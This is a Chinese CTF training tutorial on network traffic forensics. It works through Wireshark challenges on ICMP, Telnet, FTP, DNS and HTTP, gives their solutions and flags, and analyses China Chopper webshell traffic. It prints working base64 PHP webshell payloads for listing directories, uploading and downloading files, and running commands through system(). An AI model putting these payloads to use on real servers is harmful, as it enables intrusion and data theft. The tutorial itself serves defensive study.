CTF训练营-forensics

网络流量分析

网络流量分析是指利用分析技术和统计手段对网络数据包进行处理,从而实现对网络的行为分析、性能分析和故障诊断等。它也是网络取证中经常使用的手段。

在几乎所有的CTF 比赛中,都会涉及对网络流量分析能力的考查,尤其是在企业或者行业内部的比赛中,此类题目属于必考题目。这类题目的难度适中,涉及的知识面广泛,能有效结合企业内部的业务,因此建议各位读者重点关注并熟练掌握。

进行网络流量分析需要掌握多方面的知识,不仅涉及杂项知识,还需要结合 Web 渗透等方面的基础知识。

网络协议的基础知识

网络协议是为在网络中进行数据交换而建立的规则、标准或约定的集合,通常也简称为协议。互联网的核心是一系列协议,总称为互联网协议(Internet Protocol Suite),它们对计算机如何连接和组网做出了详尽的规定,一个协议通常只为一个目的而设计。那么应该如何设计网络协议呢?

ARPANET(阿帕网)是美国国防高级研究计划局开发的世界上第一个运营的数据包交换网络,是全球互联网的鼻祖。但是,ARPANET 无法和使用不同操作系统的计算机进行网络交流,这引发了研究者的思考。ARPANET的研制经验表明,对于非常复杂的网络协议,其结构应该是层次式的。1984 年,国际标准化组织(Interational Organization forStandardization,ISO)发布了ISO/IEC 7498标准,它定义了网络互连的7层框架,也就是开放式系统互连参考模型(Open System Interconnection Reference Model,OSI/RM)

层次 说明
应用层 OSI体系结构中的最高层,是网络服务与最终用户的一个接口
表示层 实现数据的表示、压缩和安全性
会话层 建立、管理、终止会话
传输层(运输层) 定义传输数据的协议端口号,以及流量控制和差错校验等
网络层(网际层) 进行逻辑地址寻址,实现不同网络之间的路径选择
数据链路层 实现建立逻辑链路、物理地址寻址、差错校验等功能
物理层 利用传输介质为数据链路层提供物理连接,实现比特流的透明传输

OSI期望达到一种理想境界,即全球网络都遵循这个统一的标准,因此在标准制定的过程中试图涵盖当时最先进的技术,导致制定周期漫长。当OSI标准还在讨论时,一种新的网络协议在工业界被广泛采纳,而且被众多厂商使用,这就是TCP/IP。于是,OSI面临着非常尴尬的局面:大公司和厂商都认可 OSI,但几乎找不到厂商能生产出符合 OSI标准的商用产品;而基于TCP/IP 的互联网已抢先在全球大范围运行,成为事实上的国际标准。

传输控制协议/网际协议(Transmission Control Protocol/Internet Protocol,TCP/IP)包含应用层、传输层(也称为运输层)、网络层(也称为网际层) 和网络接口层。但在学习计算机网络原理时,往往采取折中的方法,综合 OSI和TCP/IP 的优点,采用一个五层协议的体系结构,这样的体系结构称为协议栈。不同协议栈的体系如下图所示。

image-20240110215858582

有了协议栈的概念,我们就可以描述主机之间是如何通信的,如图1.22所示。主机A、B、C均有自己的网络协议栈,A向B发起请求,需要使用协议栈中各层提供的服务。图中的客户端程序和服务端程序都可以看作进程,若仅考虑进程之间的交互,则可以看作虚线表示的连接。对于相应的协议,我们可以按照下面的描述简单理解,网络层的IP 协议头部会保存要连接的主机的IP 地址,传输层的 TCP或UDP 的头部会保存端口信息,IP地址可以确定连接的主机,但不能确定是哪个进程,端口信息可以确定和哪个进程完成信息交互。

CTF流量分析的通用方法

image-20240110222139343

打开离线流量文件后,可以先观察一下分组数。如果分组数小于1000个,可以手工逐个数据包查看。因为当数据包个数较少时,协议分级的效果并不明显。而且,如果题目的分组数较少,说明考点较为直接,杂包过滤可能并不是重点。

如果分组数较多,通过协议分级可以看到各协议所占的比例。如果流量中存在Telnet、FTP、ICMP等明文传输协议,建议通过追踪流或过滤的方法,优先查看这些协议的通信过程。

如果没有上述协议,而是存在大量的HTTP(所谓“大量”,一般是指字节数占比较大),那么HTTP就是接下来分析的重点。通过“统计-HTTP-请求”工具,可以查看所有URL的详细信息。对于一般的Wb流量,通过URL就可以看到所有请求的资源。如果是SQL注入攻击流量,在URL中会有大量的SQL特征。如果是菜刀、蚁剑等工具生成的流量,会存在大量的POST包,通过逐个查看POST请求的返回包,也可以掌握通信过程。关于HTTP的详细分析方法会在后面内容中说明。

如果离线文件中均无上述协议,就需要结合题目的描述进行针对性分析。例如,若题目中存在大量DNS协议,就需要重点关注查询的域名以及对该域名的响应。假如存在USB协议,则需要结合协议载荷判断设备类型,再根据设备通信规则复原出传输的信息。

ICMP

ICMP(Internet Control Message Protocol)也称为Internet 控制报文协议,它允许主机或路由器报告差错情况,并提供有关异常的报告。这些控制消息虽然不传输用户数据,但是对于用户数据的传递起着重要作用。需要注意的是:ICMP并不是高层协议,它和IP 同属于网络层,但是ICMP报文封装到IP数据报中。ICMP报文如图所示,它的报文头部为8字节,定义如下:

1
2
3
4
5
6
7
8
typedef struct _icmphdr{
unsigned char i_type; //8比特,类型
unsigned char i_code; //8比特,代码
unsigned short i_cksum; //16比特,校验和
unsigned short i_id; //标识符(一般用进程号作为标识符),用于匹配ECHO和ECHO REPLY包
unsigned short i_seq; //报文序列号,用于标记ECHO报文顺序
unsigned int timestamp //时间戳或未使用
}ICMP_HEADER;

image-20240114161624123

ICMP的一个重要应用是分组网间探测(Packet InterNet Groper,PING),它可以用于测试两个主机之间的连通性。PING使用了ICMP 回送(echo)请求与回送回答报文。ICMP echo报文如下所示

不难发现,数据部分可以用来传输消息。不同操作系统的数据部分的填充方法略有区别:在Windows系统下采用小写字母aw循环:在Linux系统下,使用“-p”选项可以指定发送的数据,默认是0x000xFF的循环

此时,读者们应该能想到ICMP的一种出题方法,就是在数据部分隐藏flag,将flag编码或者加密后经ICMP 请求包传输。这个考点较为简单,在发现ICMP数据部分异常后就转化为上节介绍的常见编码的问题。

数据部分明文传输的相关题目比较简单,为了增加比赛难度,一些出题人会想出新的考点。ICMP的另一个考点是以数据部分的长度表示要传输的信息,其本质是基于文本的信息隐藏

例题fetus_pcap.pcap

不久前,运维人员在日常安全检查的时候发现现场某设备会不时向某不知名ip发出非正常的ICMP PING包。这引起了运维人员的注意,他在过滤出ICMP包分析并马上开始做应急处理很可能已被攻击的设备。运维人员到底发现了什么? flag形式为 flag{}

流量分析题,分析的方法基本上有:binwalk、查找一些可疑字符串或16进制数据,排序流量包的长度(最长的流量包一般很可疑);当我们对流量包的长度进行排序时,发现流量包最短90字节,最长也不过164字节,其中的data段数据长度从48到122,而ascii表中第48至122个字符为0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz,于是将每个流量包的长度转换为对应字符,然后连接成一段长字符串,看上去像base64编码,对字符串进行base64解码即可!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pyshark.capture.file_capture import FileCapture
from base64 import b64decode
from sys import argv

def solve(file_name):
packets=FileCapture(input_file=file_name)
res=''
for packet in packets:
for pkt in packet:
if pkt.layer_name=='icmp' and int(pkt.type,16):
res+=chr(int(pkt.data_len))
return b64decode(res)

if __name__=='__main__':
print(solve(argv[1]))
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ python rsa.py fetus_pcap.pcap
b'::\\nmongodb:!:17843:0:99999:7:::\\nubuntu:$6$LhHRomTE$M7C4n84UcFLAG{xx2b8a_6mm64c_fsociety}::'

Telnet

Telnet是 Internet远程登录服务的标准协议和主要方式,为用户提供了在本地计算机上远程管理主机的能力。实际上,Telnet 的出现早于 TCP/IP 协议簇的其他应用层协议。它默认TCP 端口号为23。Telnet 的一个特点是以明文方式传输所有数据,这也意味着如果捕获了Telnet 网络流量,就可能找到远程登录的用户名和密码。作为一种不安全的远程登录协议,Telnet 几乎被 SSH 协议所替代,只有在某些场景下才会使用 Telnet 远程登录

Telnet有四种工作模式,这里重点介绍两种。第一种是一次一字符模式,当用户输入命令时,每按一个键,Telnet 客户端会立刻把该字符发送给远程服务器,然后从TCP 连接上读取收到的字符,返回给 Telnet 客户端,显示给用户看。大部分Telnet 默认采用这种工作模式

第二种是准行模式(kludge line mode),用户每键入一行信息,客户端向服务器发送一次信息

Telnet的考点主要是获取用户登录时的正确密码,通常采用一次一字符模式进行传输下面举例说明。

例题packet2.pcapng

从流量中找到flag

【解题思路】协议分级后发现 Tenet 协议,将其过滤出来,选择追踪 TCP 流

image-20240110110530112

红色字段是客户端向服务器发送的数据,蓝色字段是服务器向客户端发送的数据。

在login(也就是用户名输入)时,我们发现客户端每发一个字符,服务端就把这个字符再发一遍,符合一次一字符模式的传输特征。Password字段中有一些“.”,这其实是不可打印字符。

“Show data as”选择为“HEX转储”

image-20240110110805673

可以看到客户端输人了ASCII字符0x08,这个字符是 backspace,也就是删除,这意味着用户在输入过程中删除了一些字符。那么如何确定删除了多少个字符?一个简单的方法是看客户端发了多少个 0x08。所以,本题中正确的密码是 0p-!@@#cttT。

04Networking

来源: CSAW Quals CTF 2013 题目:Networking 类型: Network 分数: 100 难度:易 描述: Find the flag!

随便点击一条数据

右键追踪TCP流

image-20231221232459142

flag{d316759c281bf925d600be698a4973d5}

08Telnet用户密码抓取

找到这个telnet会话的账户和密码 格式 flag{login:xxx&password:xxx}

image-20240110111028987

flag{login:fake&password:user}

46telnet_cmd

黑客通过Telnet进入了我的电脑,你知道他找到了什么机密信息吗?

image-20240110111615392

key{ZmlsZUB6aXAua}

FTP

FTP ( File Transfer Protocol ,即文件传输协议) 是 TCP/IP 协议组中的协议之一。 FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。

默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口,其中 20 用于传输数据, 21 用于传输控制信息。但是,是否使用 20 作为传输数据的端口与 FTP 使用的传输模式有关,如果采用主动模式,那么数据传输端口就是 20 ;如果采用被动模式,则具体最终使用哪个端口要服务器端和客户端协商决定。

FTP 命令由3~4个字母组成,命令后面跟参数,用空格分开。每个命令都以“\r\n”结束。常用的FTP命令有USER、PASS、SIZE、REST、CWD、RETR、PASV、PORT、QUIT等。各命令含义如下:

USER:指定用户名。通常是控制连接后第一个发出的命令。“USER name\r\n”表示以用户名name登录。

PASS:指定用户密码。该命令紧跟在USER命令后。“PASS 123456\r\n”表示密码为123456。

SIZE:从服务器上返回指定文件的大小。“SIZE file.txt\r\n”表示如果file.txt文件存在,则返回该文件的大小。

CWD:改变工作目录,如“CWD dirname\r\n”

PASV:让服务器在数据端口监听,进入被动模式,如“PASV\r\n”

PORT:告诉FTP 服务器客户端监听的端口号,让服务器采用主动模式连接客户端,如“PORT h1,h2,h3,h4,p1,p2”。

REST:下载文件。“RETR file.txt\r\n”表示下载文件 file.txt。

STOR:上传文件。“STOR file.txt\r\n”表示上传文件 file.txt。

RETR:该命令并不传送文件,而是忽略指定点后的数据。此命令后应该跟其他要求文件传输的FTP命令。比如,“REST 100\r\n”表示重新指定文件传送的偏移量为100字节。

QUIT:关闭与服务器的连接

09FTP

获取ftp密码进行提交 An authenticated file exchange achieved through FTP. Recover the password used by the user.

首先输入ftp进行过滤

image-20240109121625039

image-20240109121658521

得到

USER cdts3500

PASS cdts3500

17WhyNotSftp

很认真,为什么不呢?

image-20240109175323016

image-20240109175711012

名称暗示了FTP的使用情况,所以让我们通过在过滤器框中输入ftp-data来过滤FTP-DATA协议上的数据包捕获。点击标号为413的捕获

image-20240109175938705

单击底部的“另存为”按钮,并将其另存为* .zip文件。解压文件,然后打开里面的flag.png。它显示

image-20240109180004606

flag{91e02cd2b8621d0c05197f645668c5c4}

20leaks-suspected

Alice发现重要的zip文件被攻击者泄露。 攻击者无法删除日志。 分析损坏的pcap文件并查找泄露的文件。flag格式:key{xxx}

image-20240109122723304

打开后发现不可以

发现

image-20240109171908332

那我直接binwalk

image-20240109172420953

73686b696b7475

这是什么呢

十六进制

shkiktu

所以key{shkiktu}

40ftp-data

我们捕获了一个FTP数据包,找到他传输的数据

image-20240109122011668

导出ftp对象

key{theSecretFileByFtp}

41ssPacket

黑客通过FTP下载了一个加密压缩文件,试着找到解压密码并打开它 格式 flag{xxx}

image-20240110001630049

然后http筛选一下

image-20240110002441324

the unzip secret is ss_img

image-20240110002512364

flag{ssecret_infooMationn}

50fftp

小黑用ftp下载了一个flag.jpg,却没有flag,你帮他找到

导出ftp对象

然后010editor打开

f12搜索flag

image-20240109171155615

flag{9XyMzJU8nEo9UgvhLO96ruIf1gmNIQ9t}

DNS

TCP/IP协议簇中使用IP地址和端口号来确定网络上某一台主机中的某一个服务,那么为什么不用域名来直接进行通信呢? 因为IP地址的长度是固定的,而域名的长度是可变的可变的域名不便于计算机处理,而IP地址对于用户来说不方便记忆,但域名便于用户使用总结来说就是:IP地址是面向主机的,而域名是面向用户的。

DNS(Domain NameSystem)也称为域名系统,是将域名和IP地址相映射的一个分布式数据库,能够让用户更方便地访问互联网。DNS协议运行在UDP/TCP之上默认端口号是 53。

下面是DNS域名查询的一个例子,query 表示查询query response是对查询的响应0xf4d7是会话标识,因为大部分DNS报文是基于UDP的,通过会话标识可以区分DNS应答报文是对哪个请求的响应。图中查询的域名是 google.ca,查询到的IP地址是173.194.46.88

image-20240110223307741

Wireshark对DNS的解析结果见下图,下图解析了DNS查询响应报文Queries下面给出的是查询的域名Answers下面给出的是域名对应的IP地址。本例中,google.ca 共查询到 3个IP 地址。

image-20240110223418101

例题DNS.pcap

从流量中找到flag

【解题思路】通过查询协议分级信息,结合题目名称,发现DNS报文数据量比较大,考虑重点查看DNS。在显示过滤器中输入“DNS”后,还能看到一些ICMP报文,修改过滤规则为“dns&&!icmp”,把ICMP报文过掉。过滤出来的第一个数据包查询的域名为5647687063794270.192.168.191.129,这个域名有明显的问题。考虑把同一个IP地址请求的DNS都过滤出来,新的过滤规则是“dns&&!icmp&&ip.addr==192.168.191.128”,可以发现这个IP地址把每个异常域名都请求了2次。把所有可疑域名提取出来,去除所有的“.192.168.191.129”,重复项仅保留一个,再拼接到一起,就得

Name: 56476870637942706379426849484e6c59334a6c64434230636d4675633231706448526c5a43423061484a766457646f494752756379427864575679655341364b534247544546484c555a554e44646a545667794e6e425865555a5453545a53554664685533493157564a330a

利用ASCII解码和base64解码得到

This is a secret transmitted through dns query :) FLAG-FT47cMX26pWyFSI6RPWaSr5YRw

05Dns

image-20231221233357057

把可疑包的信息进行整理收集以后得出:

5647687063794270
6379426849484e6c
59334a6c64434230
636d467563323170
6448526c5a434230
61484a766457646f
4947527563794278
6457567965534136
4b53424754454648
4c555a554e44646a
545667794e6e4258
65555a5453545a53
5546646855334931
57564a330a

即:56476870637942706379426849484e6c59334a6c64434230636d4675633231706448526c5a43423061484a766457646f494752756379427864575679655341364b534247544546484c555a554e44646a545667794e6e425865555a5453545a53554664685533493157564a330a

image-20231221233548427

This is a secret transmitted through dns query :) FLAG-FT47cMX26pWyFSI6RPWaSr5YRw

Http/Https

https://ctf-wiki.org/misc/traffic/protocols/http/

HTTP ( Hyper Text Transfer Protocol ),也称为超文本传输协议) 是一种用于分布式、协作式和超媒体信息系统的应用层协议。 HTTP 是万维网的数据通信的基础。

https://ctf-wiki.org/misc/traffic/protocols/https/

HTTPs = HTTP + SSL / TLS. 服务端和客户端的信息传输都会通过 TLS 进行加密,所以传输的数据都是加密后的数据

02Http

题目:数据包分析 描述:请根据题目去下载相应的数据包http.pcap 对其进行分析得到flag flag格式: flag{}

导出http对象

image-20231221224751994

image-20231221224825098

FLAG-GehFMsqCeNvof5szVpB2Dmjx

03Forensics-Four Eyes

You are a member of a covert agency that is spying on one of their intelligence targets. They have managed to MiTM (Man-in-The-Middle) one of the target employees and are monitoring his HTTP traffic. It is of vital importance that you extract the correct password he submitted to www.2dehands.be.

首先过滤一下

image-20231221231812086

找到post包

image-20231221231939262

safefromNSA

12tribalwars账户密码

根据所给的数据包分析出tribalwars网站账户和密码 flag{username=xxx&password=xxx}

1
http.host contains "tribalwars"

找到post包

image-20240110093905867

user=Falken&password=Joshua

flag{username=Falken&password=Joshua}

19Espionage

来源:Cyber Security Challenge 2015 题目:Espionage 类型: Forensics 分数: 300 难度:难 描述: 我们怀疑我们的一名员工正在向竞争对手出售秘密。我们还没有抓到他,但我们确实设法嗅一些交通。你能找出发生了什么事吗?flag为小写字符串

image-20240110095149778

导出对象,按照大小排列,可以看到

然后我们右键,导出分组字节流

image-20240110095345147

发现压缩包里面有个音频

怀疑是音频隐写

image-20240110095543352

可以看到batman

23digital-camouflage

获取数据包中用户登录的密码。flag{xxx}

image-20240110094519387

flag{KN1Z6PXVy9}

38HTTP头

据说http请求头能藏很多东西,找到flag flag{xxx}

image-20240110003255422

image-20240110003311738

theFlagInHttpHeader

flag{theFlagInHttpHeader}

48file_upload

小黑客登录我的网站,试图通过文件上传攻击我的网站,你知道他上传了什么吗?

导出对象,upload.php

IGZsYWd7SkZLektuaG8wVWs4a30=

flag{JFKzKnho0Uk8k}

考点2:菜刀、蚁剑流量分析

中国菜刀(简称菜刀)是一个网站 Webshell 管理程序,通过在网站中预先植人木马再利用菜刀和木马建立连接,从而达到攻击的目的。菜刀体积小,可提供文件下载、目录管理、虚拟终端等功能,受众多用户的喜爱。但是由于开发时间久远,越来越不能满足需求而且缺少团队维护,因此现在白帽黑客更倾向于使用蚁剑。蚁剑的英文名为 AntSword,是一款开源的跨平台网站管理工具,它主要供具有合法授权的渗透测试安全人员以及进行常规操作的网站管理员进行安全管理之用。

菜刀流量的特点是通过 HTTP 中的POST方法和木马后门建立连接,如图所示,其中,dvwa.php 是 PHP 一句话木马。

image-20240112192602563

POST数据包中的内容经过 URL 编码后一般如下:

1
cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==

这段代码需要执行PHP语句,需要先用 Base64解码才能运行。Base64解码后的结如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@ini_set("display_errors","0");//临时关闭php的错误显示功能
@set_time_limit(0); //防止上传文件超时
@set_magic_quotes_runtime(0); //关闭魔术引号,在php4.0之后基本不使用
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t"; //获取当前路径
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}//获取磁盘信息
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname(); //获取服务器操作系统信息
$R.="({$usr})"; //获取当前用户
print $R;;
echo("|<-");die(); //退出当前脚本

服务器返回的 HTTP 数据包不再进行编码,可以看到明文的返回结果:->C:/AppServ/www/uploads\tA:C:D:\tWindows NT WIN-J3FT8P9R9AQ 6.1 build 7600(SYSTEM)|<-。可以发现,PHP 脚本确实被运行,一般菜刀连接后的第一个包都会获取上述信息。接下来我们针对菜刀常见的列目录、上传、下载、虚拟终端等功能做详细分析。

(1)列目录

列目录是吧某个路径下的文件和文件夹遍历输出。URL解码后的POST实体如下:

1
cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXA==
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);echo("->|");;
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL)
{
echo("ERROR:// Path Not Found Or No Permission!");
}
else
{
$M=NULL;
$L=NULL;
while($N=@readdir($F))
{
$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."";
if(@is_dir($P))
$M.=$N."/".$R;else $L.=$N.$R;
}
echo $M.$L;@closedir($F);
};
echo("|<-");
die();

脚本的主要逻辑是:对 z1进行 Base64 解码,遍历解码后路径下的全部内容。代码打开指定目录的句柄,然后进行循环扫描,并附带名称、时间、大小、日期这四个参数,用\t拼在一起发送回客户端。z1解码后的内容是C:\\,表示会把 C盘根目录下的所有内容列出来。列目录是经常用到的功能,在流量中,z0 不会改变,z1 则根据目录的不同而变化。

(2)上传文件

上传文件的流量比较有特点,首先是有 3 个参数。URL解码后的流量特征如下:

1
&cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==&z1=QzpcXEFwcFNlcnZcXHd3d1xcZmlsZXNcXHdvcmxkLnBuZw==&z2=89504E47......

z0解码后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();

利用fwrite 函数把z2 数据写到 z1解码后的路径中,如果写文件成功,就返回1,否则返回0。z2经过 Base16 编码,提取出z2的数据,就能获上传的文件。z1 解码后的路径是 C:\\AppServ\\www\\files\\world.png。需要特别说明的是,文件上传完成后,菜刀会再做一次列目录操作,在列目录的返回包中就能看到 world.png文件。

(3)下载文件

下载文件也是菜刀经常用到的功能,其数据包的特点是: 文件路径明文显示,没有被编码。具体如下

1
cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C:\\AppServ\\www\\files\\hello.rar

z0解码后的结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];$fp=@fopen($F,"r");
if(@fgetc($fp))
{
@fclose($fp);
@readfile($F);
}
else
{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();

返回包以明文的方式包含上述 echo 指令打印的前缀 (“->|”)和要下载的文件。需要注意的是,如果要从流量中提取出菜刀工具下载的文件,一定要删除菜刀 PHP 代码添加的前缀,否则文件不能正常打开

(4)虚拟终端

虚拟终端是菜刀中一个非常实用的功能,就像攻击者获取了服务器 shell 一样,使得攻击者可以完成交互,获得更多的信息和操作。虚拟终端的流量如下:

1
cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCmVjaG8oIi0+fCIpOzsNCiRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTsNCiRzPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MiJdKTsNCiRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsNCiRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jICd7JHN9JyI6Ii9jIHskc30iOw0KJHI9InskcH0geyRjfSI7DQpAc3lzdGVtKCRyLiIgMj4mMSIpOzsNCmVjaG8oInw8LSIpOw0KZGllKCk7&z1=Y21k&z2=Y2QgL2QgIkQ6XHBocFN0dWR5XFdXV1x1cGxvYWQtbGFic1x1cGxvYWRcIiZ3aG9hbWkmZWNobyBbc10mY2QmZWNobyBbRV0=

这段载荷有3个参数,但是第2个参数几乎总是¥21k,可以作为虚拟终端流量的强特征。

z0解码后为:

1
2
3
4
5
6
7
8
9
10
11
12
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";
$r="{$p} {$c}";
@system($r." 2>&1");;
echo("|<-");
die();

z1解码后为:

1
cmd

z2解码后为:

1
cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [s]&cd&echo [E]

将 z1、z2 的值解码后保存到 $p、$s 中,获取的 shell 文件的绝对路径保存到 $d 中通过判断绝对路径的第一位来区分 Linux 和 Windows 系统。本例中的路径是 Windows 系统路径,所以要执行的语句为:

1
cmd /c cd /d "D:\phpStudy\WWW\upload-labs\upload\"&whoami&echo [s]&cd&echo [E]

真正执行的命令为 whoami,并将结果重定向输出。

(5)解题技巧

目前,在 CTF 比赛中,菜刀流量主要考查列目录、文件上传/下载和虚拟终端等功能。我们当然可以逐个把 POST 数据包中的内容解码,查看代码逻辑,但这么做有些烦琐,一种更简单的方法是根据 POST 包的返回包内容猜测 POST 包中代码的功能

例题packet3.pcapng

根据协议分级,重点查看HTTP 协议数据包。

image-20240113111426350

发现都是 POST请求,猜测可能是菜刀流量。我们首先查看第二个包,也就是第一个POST请求对应的返回包,其结果为”->|C:/AppServ/www/uploads\tA:C:D:\tWindows NT WIN-J3FT8P9R9AQ 6.1 build 7600(SYSTEM)|<-“,此时可以确定第一个POST请求中的代码是为了获取系统信息。逐个查看 POST 请求的返回包,在第83个数据包中看到了rar 文件的头部,结合第 82个数据包,判断是从服务器下载hello.rar文件,将其导出。同理,对于第 234个数据包,服务器返回1,结合第 233个数包,判断是向服务器上传文件,将文件导出,再经过 Base16解码,得到一张 PNG 图片。将RAR 压缩包解压,结合 PNG 图片信息,得到完整的 flag:c7265f898a52fcc4

image-20240113115111052

image-20240113114440948

蚁剑的流量特征和菜刀有相似之处,都是通过 POST 请求发送脚本。但是蚁剑做了更多的优化,以减少流量特征。如图所示,在连接木马前可以选择编码器和解码器,除了菜刀默认的 Base64 编码,还可以选择 chr、rot 等方式。不仅 POST请求包可以被编码,返回包的数据也可以被编码,这增加了分析的难度。但是,上传和下载的文件不会被编码,可以被直接提取。

image-20240113114011970

例题yijian.pcapng

image-20240113115334218

协议分级后,重点关注HTTP 的协议数据,重点分析蚁剑的 POST请求和返回信息。

image-20240113134053446

